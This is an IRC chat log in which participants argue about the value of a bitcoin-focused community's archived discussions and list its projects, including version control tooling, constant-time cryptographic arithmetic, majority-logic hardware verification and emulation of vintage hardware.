a111: Logged on 2018-04-18 16:34 mircea_popescu: and they are that by personal, wholly owned choice. nobody asked them, or told them, or "made them" act in the specific manner of their subhuman nature, whereby "1. if it's not comfortable ~to me~ i'm 'not interested' because 2. i expect there's enough of us animals around so that 3. under the pressure of our wilful ignorance the republic will be forced to change and adapt."
a111: Logged on 2019-04-07 00:04 OriansJ: asciilifeform: Having spent time reading the log; I am less than impressed
spyked: http://btcbase.org/log/2019-04-07#1907214 <-- don't you find it weird, though, that you say this, and then after just a few lines you http://btcbase.org/log/2019-04-07#1907238 ? this is not a rhetorical question: you're unimpressed by the recorded 5+yo history of discussions of a group of ~actual people~, and the reflection therein of their ~actually doing~ things; and then immediately you go on to referen
OriansJ: well; I guess we will have to see. Until then
asciilifeform: OriansJ: it displays sans js, you simply gotta manually throw in param after the '?' mark
asciilifeform: there's in fact moar than i can list from memory in coupla min.'s time and coupla log ln. of space.
asciilifeform: mircea_popescu & diana_coman for instance have a multiplayer game. lobbes has various useful automata (e.g. auction bot) . http://therealbitcoin.org exists. and plenty else.
asciilifeform: OriansJ: then have, e.g., 'v' : http://cascadianhacker.com/07_v-tronics-101-a-gentle-introduction-to-the-most-serene-republic-of-bitcoins-cryptographically-backed-version-control-system
asciilifeform: BingoBoingo: let the fella eat at own pace, or will choke
asciilifeform: OriansJ: lotsa folx over the years landed in the logs, and thought 'these people sit and philosophize and what'. but plenty of examples of working mechanism , if yer interested to study. http://www.loper-os.org/?cat=49 for instance is a just-short-of-done constant-time 0-dependency cryptoarithmetizer.
BingoBoingo: asciilifeform: With the conversation going on I figured it's time to let someone else carry the voicing.
asciilifeform: BingoBoingo: quick on the trigger finger today aintcha
asciilifeform: how would this apply in re the linked device ?
asciilifeform: 'мажоритарная логика' (majority-logic) in the general case, i do not recall what the english folx call it ( afaik they gave up on it errywhere other than orbit in recent yrs )
asciilifeform: cribbed directly from classical sov-engineering, like just about all other asciilifeform methods.
asciilifeform: i do not claim to have invented the method.
asciilifeform: exactly these
asciilifeform: imho this is an absolute ~minimal~ requirement for hypothetical sane irons of any other type.
asciilifeform: ^ i.e. a unit suspected of containing hidden functionality vis-a-vis any other existing unit, can be 'slaved' to the latter , and the outputs compared.
asciilifeform: ( and deterministically testable for 'doing what's printed on the box' . you pump a coupla TB of known bits through it, and observe that the expected outs in fact came out )
asciilifeform: the engine http://btcbase.org/patches/fg-genesis/tree/fg.v incidentally is 100% siliconizable as it stands.
OriansJ: asciilifeform: I seek out potential; and I heard there was potential here.
asciilifeform: there's, y'know, a whole net of elsewhere to be
asciilifeform: i cannot resist to ask OriansJ , what exactly then is he doing here ?
BingoBoingo: Some futher organization of the literature would probably help with initiations, but first asciilifeform needs to catch a transcription slave
OriansJ: asciilifeform: Having spent time reading the log; I am less than impressed
asciilifeform: i recommend to read the log. you will find that asciilifeform is not the only 1 who finds it effective reference.
asciilifeform: OriansJ is under the impression that asciilifeform works alone ?
OriansJ: asciilifeform: which is fine if you expect to only work alone and have the work lost in the sands of time.
OriansJ: and have you put all the possible enhancements into a common place for reference?
OriansJ: Ok, so asciilifeform, you wish to improve upon it rather than use it?
asciilifeform: largely to experiment with the orig. os , it was an item quite far ahead of what today is taught as 'state of art'. but the iron also imho is good starting point for hypothetical sane iron.
OriansJ: asciilifeform: we don't need cycle-accurate; we just need good enough to be able to write the pieces that will run on it directly
asciilifeform: OriansJ: there's an emulator , though not a cycle-accurate one . asciilifeform is (slowly) gathering the seekrits needed for cycle-accurate reproduction of the orig.
OriansJ: ok; do we have software simulators such that people can start developing software for it while we solve the hardware side of the question?
asciilifeform: i have the orig. paper docs, they fill a bookcase, but they're actually all mirrored there.
asciilifeform: vendor supplied lisp, ada, fortran, even c, compilers , which interoperated to the point of safely calling proggy written in 1, from another
asciilifeform: OriansJ: 'open source' folx have a professional disease, where they succumb to temptation of redefining a difficult problem into a non-equivalent but easier one
OriansJ: asciilifeform: well we can either wait for others to perform miracles or we can get off our asses and make them for the world to see.
asciilifeform: so patents in no case are the problem